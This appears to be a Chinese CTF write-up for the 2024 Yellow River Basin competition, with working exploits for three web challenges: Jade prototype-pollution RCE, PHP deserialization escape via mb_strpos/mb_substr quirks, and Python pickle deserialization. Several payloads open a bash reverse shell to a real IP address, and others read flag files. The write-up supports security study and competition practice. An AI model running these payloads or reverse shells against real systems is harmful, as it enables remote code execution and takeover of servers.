2024黃河流域WP

m1xian發表於2024-08-18

2024黃河流域

ezjade

程式碼很簡單,主要是找到汙染點在哪裡,也就是可控引數在哪


app.post('/post',function (req, res) {
    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    var malicious_payload = JSON.stringify(req.body);
    var body = JSON.parse(JSON.stringify(req.body));
    var a = {};
    merge(a, JSON.parse(malicious_payload));
    console.log(a.name);
    res.render('index.jade', {
        title: 'HTML',
        name: a.name || ''
    });
}

可以看到訪問post路由時,會將a.name渲染進index.jade,時如果寫入惡意程式碼,訪問/post路由的時候會進行模版渲染此時將注入的程式碼被執行,導致RCE

跟進render函式,步入

image-20240503123818-cmwa73k

一直跟到compile

image-20240502134232-o35vsky

跟進visitcode函式

  visitCode: function(code){
    // Wrap code blocks with {}.
    // we only wrap unbuffered code blocks ATM
    // since they are usually flow control

    // Buffer code
    if (code.buffer) {
      var val = code.val.trim();
      val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
      if (code.escape) val = 'jade.escape(' + val + ')';
      this.bufferExpression(val);
    } else {
      this.buf.push(code.val);
    }

這裡讓code.buffer為false,就可以直接把code.val的值壓入buf

但是報錯plugin is not a function

加上"self":1

{"__proto__":{"self":1,"buffer":false,"val":"return global.process.mainModule.constructor._load('child_process').execSync('calc')"}}
{"__proto__":{"self":1,"buffer":false,"val":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/8.130.110.182/2333 0>&1\"')"}}

image-20240502184832-f12rl5q

tao

<?php
highlight_file(__FILE__);
error_reporting(0);

function substrstr($data) {
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start, $end + 1 - $start);
}

class A {
    public $A;
    public $B = "HELLO";
    public $C = "!!!";

    public function __construct($A) {
        $this->A = $A;
    }

    public function __destruct() {
        $key = substrstr($this->B . "[welcome sdpcsec" . $this->C . "]");
        echo $key;
        eval($key);
    }
}

if (isset($_POST['escape'])) {
    $Class = new A($_POST['escape']);
    $Key = serialize($Class);
    $K = str_replace("SDPCSEC", "SanDieg0", $Key);
    unserialize($K);
} else {
    echo "nonono";
}
?>

mb_strpos與mb_substr

  • %9f使得增加逃逸出一個字元(mb_strpos特性)
  • %f0使得減少逃逸出三個字元(mb_substr特性)

具體測試程式碼:

<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    echo $start.'<br>';
    $end = mb_strpos($data, "]");
    echo $end;
    return mb_substr($data, $start, $end + 1 - $start);
}
$key = substrstr($_GET[0]."[welcome".$_GET[1]."sdpcsec]");
echo $key;

先來看正常傳參

image-20240514161929-sjhqqjl

可以看到是正常的把[]內的所有內容都擷取到了

  • %9f使逃逸出一個字元(mb_strpos特性)

image-20240514161659-4hedrl5

可以看到mb_strpos竟然將%9f這個不可見字元也算進去了,而且還提前結束了一位

但是mb_substr是正常進行擷取的,所以導致增加一個字元

我們利用%9f就可以使得[]裡的16個字元全部逃逸,然後就可以任意構造我們想要的字元了(長度也得是16)

  1. %f0使逃逸出三個字元(mb_substr特性)

    \xf0開頭的UTF-8字元應該是4位長度,並符合UTF-8的規則

image-20240514165012-96vde3v

可以看到mb_strpos正常識別不可見字元%f0,但是mb_substr將傳進去的%f0abc四個字元當成了一個字元

所以我們把[welcome給吃掉的話需要8位,也就%f0abc%f0abc%f0%9fab

這裡%f0abc將4字元當成1字元導致逃逸出3字元,%f0%9fab由於%9f是符合規則的所以這是把四個字元當成了兩個字元導致逃逸出2字元

法一:純%9f

image-20240818123030-vgkp6wt

image-20240512162159-dgkip1t


";s:1:"B";s:46:"%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fsystem("cat /flag");#";s:1:"C";s:5:"aaaaa";}
87個,補上87個SDPCSEC
SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:46:"%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fsystem("cat /flag");#";s:1:"C";s:5:"aaaaa";}

法二:%9f結合%f0

pickle

pickle反序列化

用i指令反彈shell

import base64
import pickle
import pickletools

a = "gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="

data=base64.b64decode(a)
print(pickletools.dis(data))
#\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub.


b=b'''(S'bash -c "bash -i >& /dev/tcp/8.130.110.182/2333 0>&1"'
ios
system
.'''
print(base64.b64encode(b))
#KFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMTAuMTgyLzIzMzMgMD4mMSInCmlvcwpzeXN0ZW0KLg==

新學到的,也可以報錯帶出

pickle反序列化,開啟debug,用報錯

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("raise Exception(__import__('os').popen('cat flag.txt').read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))